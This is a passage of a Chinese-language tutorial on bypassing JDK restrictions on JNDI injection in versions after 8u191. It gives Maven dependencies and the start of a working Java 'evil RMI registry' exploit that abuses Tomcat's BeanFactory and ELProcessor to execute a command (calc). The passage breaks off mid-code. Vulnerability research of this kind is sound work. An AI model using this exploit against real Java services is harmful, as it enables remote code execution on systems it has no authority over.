前言
JNDI_RMI在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase;com.sun.jndi.cosnaming.object.trustURLCodcbase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
JNDI_LDAP在Oracle JDK 6u211、7u201、8u191、11.0.1、之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,对LDAP Reference远程工厂类的加载增加了限制。
我们通常对jndi注入利用常见的两种方法是JNDI+RMI和JNDI+LDAP注入,但这两种注入受到jdk版本的影响,导致不能使用。限制版本在上面已经写了。
关于JDK>8u191版本,目前公开绕过的方法有两种。我已经再高版本环境下实验过了,且均能成功。第一种方法为通过加载本地类
来实现,第二种是通过本地反序列化
来实现。
通过加载本地类
JDK 11.0.1、8u191、7u201、6u211之后之后com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值为false,我们就不能再从远程的Codebase加载恶意的Factory类了,但是我们可以从本地存在的类中加载,也可以达到利用的效果。
我们可以看一下javax.naming.spi.NamingManager#getObjectFactoryFromReference方法,实现从本地类中加载,如果没有则再从指定Codebase远程加载。
需要看到最后return的是一个强制转换的ObjectFactory类型,也就是工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且该工厂类至少存在一个 getObjectInstance() 方法,我们找到了org.apache.naming.factory.BeanFactory
类,刚好满足所需的条件,且存在于Tomcat依赖包中,所以使用也是非常广泛。
pom依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
RMIServer
package org.example.JndiHighRmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1099");
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref